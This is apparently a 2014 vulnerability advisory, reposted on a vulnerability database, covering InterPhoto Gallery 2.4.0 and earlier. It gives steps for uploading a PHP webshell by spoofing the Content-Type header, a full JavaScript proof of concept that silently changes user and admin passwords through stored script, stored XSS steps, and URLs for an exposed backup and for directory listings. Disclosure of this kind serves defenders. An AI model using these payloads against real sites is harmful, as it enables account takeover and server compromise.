interphoto gallery - Multiple Vulnerabilities

🗓️ 01 Jul 2014 00:00:00Reported by RootType
InterPhoto Gallery Multiple Remote Vulnerabilities, affected version <= 2.4.0, Abysssec.com discovery. InterPhoto allows users to upload PHP webshells via image upload with content type spoofing. Multiple persistent XSRF vulnerabilities exist

                                                &#39;&#39;&#39;
  __  __  ____         _    _ ____  
 |  \/  |/ __ \   /\  | |  | |  _ \ 
 | \  / | |  | | /  \ | |  | | |_) |
 | |\/| | |  | |/ /\ \| |  | |  _ &#60;  Day 6 (0day)
 | |  | | |__| / ____ \ |__| | |_) |
 |_|  |_|\____/_/    \_\____/|____/ 

&#39;&#39;&#39;

- Title  : InterPhoto Gallery Multiple Remote Vulnerabilities
- Affected Version : &#60;= 2.4.0
- Vendor  Site   : http://www.weensoft.com
- Discovery :Abysssec.com
 
- Description :
===============
InterPhoto Image Gallery is an open-source, simple-using, advanced, professional multi-users&#39; image website System,and it can primely protect the images of your site. InterPhoto can be used to build all kinds of sites which lay out images mainly, such as: design, fashion, exhibition, photograph, painting sites and so on.

- Vulnerabilities:
==================


1)Upload ( bypass Image Uploader ):
------------------------------------------------
InterPhoto allows register users uploading Images.
InterPhoto&#39;s User can upload php webshell with this way:
	
	login in the user mode,go to &#34;Publish Image &#34; .
	select file for upload, write other field Required and submit.
	By Tamper Data tools (webscarab, Paros ,...) Trap Request.
	and change &#34;Content-Type&#34; field&#39;s value to &#34;image/jpeg&#34;.

line 143-150 : 	
...
if ($action == &#39;insertimage&#39;)
	{
		$imagefile         = $_FILES[&#39;imagefile&#39;];
		$valid_image_types = array(&#39;image/pjpeg&#39;,	&#39;image/jpeg&#39;, &#39;image/jpg&#39;);
		$uploaddir = BASEPATH.&#39;MyWebsiteImages/&#39;;
		@chmod($uploaddir,0777); // it will chmod upload dir  for execute as well  !
...
as you can see in flow type it&#39;s possible to spoof jpeg request . 

ln 43-56
...
if ($image_size[0] &#62; 760 || $image_size[1] &#62; 760) {
		if (@rename($uploaddir.$file_path.&#39;/&#39;.$imagename, $uploaddir.$file_path.&#39;/original/&#39;.$imagename)) {
			CreateImageFile($uploaddir.$file_path.&#39;/original/&#39;.$imagename, $uploaddir.$file_path.&#34;/760x760/&#34;.$imagename,&#39;760&#39;);
			CreateImageFile($uploaddir.$file_path.&#39;/760x760/&#39;.$imagename, $uploaddir.$file_path.&#34;/160x160/&#34;.$imagename,&#39;160&#39;);
			CreateImageFile($uploaddir.$file_path.&#39;/160x160/&#39;.$imagename, $uploaddir.$file_path.&#34;/80x80/&#34;.$imagename,&#39;80&#39;);
			CreateImageFile($uploaddir.$file_path.&#39;/80x80/&#39;.$imagename, $uploaddir.$file_path.&#34;/32x32/&#34;.$imagename,&#39;32&#39;);
		}
	}else{
		if (@rename($uploaddir.$file_path.&#39;/&#39;.$imagename, $uploaddir.$file_path.&#39;/760x760/&#39;.$imagename)) {
			CreateImageFile($uploaddir.$file_path.&#39;/760x760/&#39;.$imagename, $uploaddir.$file_path.&#34;/160x160/&#34;.$imagename,&#39;160&#39;);
			CreateImageFile($uploaddir.$file_path.&#39;/160x160/&#39;.$imagename, $uploaddir.$file_path.&#34;/80x80/&#34;.$imagename,&#39;80&#39;);
			CreateImageFile($uploaddir.$file_path.&#39;/80x80/&#39;.$imagename, $uploaddir.$file_path.&#34;/32x32/&#34;.$imagename,&#39;32&#39;);
		}
...	
Refer to size of file you can find your shell in following directory:
	http://site.com/InterPhoto/MyWebsiteImages/
	

2)Persistent XSRFs:
-------------------
Several XSRF existed in this CMS, For Example:Delete user&#39;s Image, Change Users&Admin password, Change User&Admin Info,... 
Now see Change Users&Admin password:
	+POC:
		Like number 1 ,go to Publish Image and select Edit HTML,and write this code:
			&#60;script&#62;
				function creat_request(path,parameter,method){
				method = method || &#34;post&#34;; 
				var remote_dive = document.createElement(&#39;div&#39;);
  				remote_dive.id = &#39;Div_id&#39;;
  				var style = &#39;border:0;width:0;height:0;&#39;;
  				remote_dive.innerHTML = &#34;&#60;iframe name=&#39;iframename&#39; id=&#39;iframeid&#39; style=&#39;&#34;+style+&#34;&#39;&#62;&#60;/iframe&#62;&#34;;
  				document.body.appendChild(remote_dive);
   				var form = document.createElement(&#34;form&#34;);
  				form.setAttribute(&#34;method&#34;, method);
  				form.setAttribute(&#34;action&#34;, path);
  				form.setAttribute(&#34;target&#34;, &#34;iframename&#34;);
	    		for(var key in parameter) 
				{
  				var hiddenField = document.createElement(&#34;input&#34;);
  				hiddenField.setAttribute(&#34;type&#34;, &#34;hidden&#34;);
  				hiddenField.setAttribute(&#34;name&#34;, key);
  				hiddenField.setAttribute(&#34;value&#34;, parameter[key]);
  				      form.appendChild(hiddenField);
    				}
  				document.body.appendChild(form);  
  				form.submit();
				}    
      		    creat_request(&#39;http://192.168.101.4/interphoto/mydesk.edit.php&#39;,{&#39;action&#39;:&#39;updateuser&#39;,&#39;password&#39;:&#39;123456&#39;,&#39;repassword&#39;:&#39;123456&#39;,&#39;email&#39;:&#39;[email protected]&#39;,&#39;userfullname&#39;:&#39;&#39;,&#39;usercompany&#39;:&#39;&#39;,&#39;useraddress&#39;:&#39;&#39;,&#39;userpostcode&#39;:&#39;&#39;,&#39;usertel&#39;:&#39;&#39;,&#39;userfax&#39;:&#39;&#39;,&#39;useronline&#39;:&#39;&#39;,&#39;userwebsite&#39;:&#39;&#39;});
			&#60;/script&#62;
			
		and submit.when any user see this section on Homepage, Delete first image that is Uploaded.	


	
3)stored XSS :
--------------
login in the user mode,go to &#34;Publish Image &#34; .Then
in &#34;Image Description:&#34; section, select Edit HTML icon,and write java tag script.( also write other field Required )
and submit.
for see the XSS go to Home page, and click last update image for see.	
Because InterPhoto used nicedit for Image Description.	 



		
4)Information  Disclosure:
---------------------------------------------
	5.1)Backup  Database is Downloadable:
		+POC:
			http://site.com/InterPhoto/admin/backup/
		+Fix:
			restrict access to this directory by .htaccess file.
			
	5.2)Directory listing :
		+POC:
			http://site.com/InterPhoto/admin/backup/
			http://site.com/InterPhoto/MyWebsiteImages
			http://site.com/InterPhoto/UploadImages/	
			http://site.com/InterPhoto/library/
			http://site.com/InterPhoto/languages/
			http://site.com/InterPhoto/includes/
			http://site.com/InterPhoto/config/
			http://site.com/InterPhoto/templates/
			http://site.com/InterPhoto/upgrade/
			http://site.com/InterPhoto/admin/includes/
			http://site.com/InterPhoto/admin/templates/ and ....
		+Fix:
			Create index.html in all folders.


5)Path Disclosure:
--------------------------------------
InterPhoto CMS  has used Smarty library(Templet Engine).
	+Code:for example:class Smarty undefined.
		/library/smarty/libs/Smarty_Compiler.class.php[line 35] 
		class Smarty_Compiler extends Smarty {
		...
	+POC: 
		http://site.com/InterPhoto/library/smarty/libs/Smarty_Compiler.class.php
		http://site.com/InterPhoto/library/smarty/libs/plugins/modifier.date_format.php
		http://site.com/InterPhoto/library/smarty/templates_c/[ all files. ]
	+Fix:
		Add frist page :
			if(class_exists(&#39;Smarty&#39;)){
		Add last page:
			}
01 Jul 2014 00:00Current
7.1High risk
Vulners AI Score7.1